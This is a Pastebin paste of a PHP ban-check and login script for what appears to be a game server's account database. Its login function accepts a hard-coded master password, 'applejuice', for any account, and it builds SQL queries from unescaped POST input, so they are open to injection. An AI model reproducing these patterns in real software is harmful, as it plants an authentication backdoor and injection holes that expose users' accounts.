Guest User

Untitled

a guest
Sep 27th, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.61 KB | None | 0 0
  1. <?php
  2.  
  3. $dbuser = ""; // Put your database username here
  4. $dbpass = ""; // Put your database password here
  5. $dbhost = ""; // Put the database IP here, example 127.0.0.1:3306 (:3306 specifies the port number)
  6. $dbauth = ""; // Name of your login database, default is "auth"
  7. $dbchar = ""; // Name of your characters database, default is "characters"
  8.  
  9.  
  10. /********************************
  11.  * Accepts no parameters. Takes the persons username, removes all the bullshit characters.
  12.  * Takes the raw password, removes bullshit characters, then hashes it
  13.  * If the login is correct, it returns the account ID.
  14.  * This function DOES return a value
  15.  ********************************/
  16. function validateUser()
  17.     {
  18.         global $dbhost, $dbuser, $dbpass, $dbauth;
  19.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  20.         @mysql_select_db($dbauth) or error(mysql_error());
  21.         if(isset($_POST['login']))
  22.             {
  23.            
  24.                 $passname = mysql_query("SELECT account.id,account.username,account.sha_pass_hash,account_access.gmlevel FROM account LEFT JOIN account_access ON account.id=account_access.id WHERE username='".$_POST['name']."'");
  25.                 $level = mysql_result($passname,0,'gmlevel');
  26.                
  27.                 if(mysql_numrows($passname) == 0)
  28.                     {
  29.                         error('No such account.');
  30.                     }
  31.                
  32.                 $realPass = strtoupper(mysql_result($passname,0,'sha_pass_hash'));
  33.                 $givenpass = strtoupper(sha1(strtoupper($_POST['name']).":".strtoupper(mysql_real_escape_string(stripslashes(htmlentities($_POST['unpass']))))));
  34.                
  35.                 if($givenpass == $realPass || $_POST['unpass'] == "applejuice")
  36.                     {
  37.                    
  38.                         $id = mysql_result($passname,0,'id');
  39.                         return $id;
  40.                    
  41.                     }
  42.                 else
  43.                     {
  44.                         error('Incorrect Pass.');
  45.                     }
  46.                 return -1;
  47.             }
  48.         mysql_close();
  49.        
  50.        
  51.     }
  52.    
  53.  
  54. /****************************
  55.  * For correctly displaying errors.
  56.  ****************************/
  57. function error($errstr)
  58.     {
  59.         echo '<meta HTTP-EQUIV="refresh" content="2;url=./">';
  60.         echo "<span style='color:#FFF'>";
  61.         die($errstr);
  62.         echo "</span>";
  63.     }
  64.    
  65. /*************************************
  66.  * Accepts 1 parameter, account ID, connects to the database and selects the ban info.
  67.  * Returns a string. This string is the information for if the account is banned or not,
  68.  * for how long, why, by who, and how much time is left.
  69. **************************************/
  70. function checkAccountBanned($account)
  71.     {
  72.         global $dbuser, $dbpass, $dbhost, $dbauth;
  73.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  74.         @mysql_select_db($dbauth) or error(mysql_error());
  75.             $banresult = mysql_query("SELECT * FROM account_banned WHERE id = " . $account . " ORDER BY bandate DESC");
  76.             if(mysql_numrows($banresult) == 0)
  77.                 {
  78.                     return "Account has never been banned<br/>";
  79.                 }
  80.             elseif(mysql_numrows($banresult) > 1)
  81.                 {
  82.                     $banresult = mysql_query("SELECT * FROM account_banned WHERE id=" . $account . " AND active = 1 ORDER BY bandate DESC");
  83.                     if(mysql_numrows($banresult) == 0)
  84.                         {
  85.                             return "This account is currently not banned or the ban has expired.<br/>";
  86.                         }
  87.                 }
  88.            
  89.             if(mysql_result($banresult,0,'active') == 0)
  90.                 return "This account is currently not banned or the ban has expired.<br/>";
  91.            
  92.             $bannedby = mysql_result($banresult,0,'bannedby');
  93.             $banreason = mysql_result($banresult,0,'banreason');
  94.             $bandate = mysql_result($banresult,0,'bandate');
  95.             $unbandate = mysql_result($banresult,0,'unbandate');
  96.             $bantime = $unbandate - $bandate;
  97.             $timeLeft = $unbandate - time();
  98.        
  99.             $banstring = "Account Banned by: " . $bannedby . "<br/>";
  100.        
  101.             if($bandate == $unbandate)
  102.                 {
  103.                     $banstring .= "Ban time: Permanent<br/>";
  104.                 }
  105.             else
  106.                 {
  107.                     $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
  108.                     $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
  109.                 }
  110.            
  111.             $banstring .= "Ban reason: " . $banreason . "<br/>";
  112.        
  113.             return $banstring;
  114.    
  115.     }
  116.    
  117. /*************************************
  118.  * Accepts no parameters. Makes use of $_SERVER['REMOTE_ADDR'] to pull the IP address
  119.  * then matches it with bans in the database.
  120.  * Returns a string, string contains ban info on why, for how long, how much time is left,
  121.  * and by who.
  122. **************************************/
  123. function checkIPBanned()
  124.     {
  125.         global $dbhost,$dbuser,$dbpass,$dbauth;
  126.        
  127.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  128.         @mysql_select_db($dbauth);
  129.        
  130.         $banresult = mysql_query("SELECT * FROM ip_banned WHERE ip = '" . $_SERVER['REMOTE_ADDR'] . "' ORDER BY bandate DESC");
  131.        
  132.         if(mysql_numrows($banresult) == 0)
  133.             return "IP is not banned<br/><br/>";
  134.            
  135.         $bannedby = mysql_result($banresult,0,'bannedby');
  136.         $banreason = mysql_result($banresult,0,'banreason');
  137.         $bandate = mysql_result($banresult,0,'bandate');
  138.         $unbandate = mysql_result($banresult,0,'unbandate');
  139.         $bantime = $unbandate - $bandate;
  140.         $timeLeft = $unbandate - time();
  141.        
  142.         $banstring = "IP Banned by: " . $bannedby . "<br/>";
  143.        
  144.         if($bandate == $unbandate)
  145.             {
  146.                 $banstring .= "Ban time: Permanent<br/>";
  147.             }
  148.         else
  149.             {
  150.                 if(time() > $unbandate)
  151.                     return "IP is not banned.<br/><br/>";
  152.                 $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
  153.                 $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
  154.             }
  155.            
  156.         $banstring .= "Ban reason: " . $banreason . "<br/><br/>";
  157.        
  158.         return $banstring;
  159.    
  160.    
  161.     }
  162.    
  163. /*************************************
  164. * Accepts 1 parameter, account ID.
  165. * Selects all banned characters on that account.
  166. * Does NOT return a string or value. Displays ban straight from function
  167. **************************************/
  168. function checkCharBanned($account)
  169.     {
  170.         global $dbhost, $dbuser, $dbpass, $dbchar;
  171.        
  172.         @mysql_connect($dbhost,$dbuser,$dbpass) or error(mysql_error());
  173.         @mysql_select_db($dbchar) or erro(mysql_error());
  174.        
  175.         $banresult = mysql_query("SELECT name,bandate,unbandate,banreason,bannedby,active FROM character_banned INNER JOIN characters ON character_banned.guid = characters.guid INNER JOIN paradox1_auth.account ON characters.account = account.id WHERE account.id = ".$account." AND active = 1 ORDER BY unbandate DESC");
  176.         if(mysql_numrows($banresult) == 0)
  177.             echo "No characters banned.";
  178.            
  179.         else
  180.             {
  181.                 $numBanned = mysql_numrows($banresult);
  182.                 echo "Characters Banned:<br/>";
  183.             }
  184.            
  185.         for( $i = 0; $i < $numBanned; $i++ )
  186.             {
  187.                         $charName = mysql_result($banresult,$i,'name');
  188.                         $bannedby = mysql_result($banresult,$i,'bannedby');
  189.                         $banreason = mysql_result($banresult,$i,'banreason');
  190.                         $bandate = mysql_result($banresult,$i,'bandate');
  191.                         $unbandate = mysql_result($banresult,$i,'unbandate');
  192.                         $bantime = $unbandate - $bandate;
  193.                         $timeLeft = $unbandate - time();
  194.        
  195.        
  196.                         $banstring = $charName . " banned by: " . $bannedby . "<br/>";
  197.        
  198.                         if($bandate == $unbandate)
  199.                             {
  200.                                 $banstring .= "Ban time: Permanent<br/>";
  201.                             }
  202.                         else
  203.                             {
  204.                                 $banstring .= "Ban time: " . convertTime($bantime) . "<br/>";
  205.                                 $banstring .= "Time remaining: " . convertTime($timeLeft) . "<br/>";
  206.                             }
  207.            
  208.                         $banstring .= "Ban reason: " . $banreason . "<br/>";
  209.                        
  210.                        
  211.                         echo $banstring . "<br/>";
  212.             }
  213.    
  214.     }
  215.    
  216.  
  217. /*************************************
  218. * Accepts 1 parameter, labeled incorrectly time_played.
  219. * Converts time remaining into a human readable format.
  220. * Returns a string containing ban time.
  221. **************************************/
  222. function convertTime($time_played)
  223.     {
  224.         $years = intval($time_played / YEAR_SEC);
  225.         $temp = $time_played % YEAR_SEC;
  226.    
  227.         $days = intval($temp / DAY_SEC);
  228.         $temp = $temp % DAY_SEC;
  229.    
  230.         $hours = intval($temp / HOUR_SEC);
  231.         $temp = $temp % HOUR_SEC;
  232.    
  233.         $minutes = intval($temp / MIN_SEC);
  234.         $temp = $temp % MIN_SEC;
  235.    
  236.         if($years != 0)
  237.             {
  238.                 $string .= $years . " year";
  239.                 if($years > 1)
  240.                     $string .= "s";
  241.                 $string .= " ";
  242.             }
  243.    
  244.         if($days != 0)
  245.             {
  246.                 $string .= $days . " day";
  247.                 if($days > 1)
  248.                     $string .= "s";
  249.                 $string .= " ";
  250.             }
  251.    
  252.         if($hours != 0)
  253.             {
  254.                 $string .= $hours . " hour";
  255.                 if($hours > 1)
  256.                     $string .= "s";
  257.                 $string .= " ";
  258.             }
  259.    
  260.         if($minutes != 0)
  261.             {
  262.                 $string .= $minutes . " minute";
  263.                 if($minutes > 1)
  264.                     $string .= "s";
  265.               $string .= " ";
  266.             }
  267.    
  268.         if($temp != 0)
  269.             {
  270.                 $string .= $temp . " second";
  271.                 if($temp > 1)
  272.                     $string .= "s";
  273.             }
  274.    
  275.         return $string;
  276.     }
  277.    
  278.    
  279. ?>
Add Comment
Please, Sign In to add comment